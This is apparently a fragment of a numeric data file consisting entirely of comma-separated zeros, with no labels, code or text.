,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0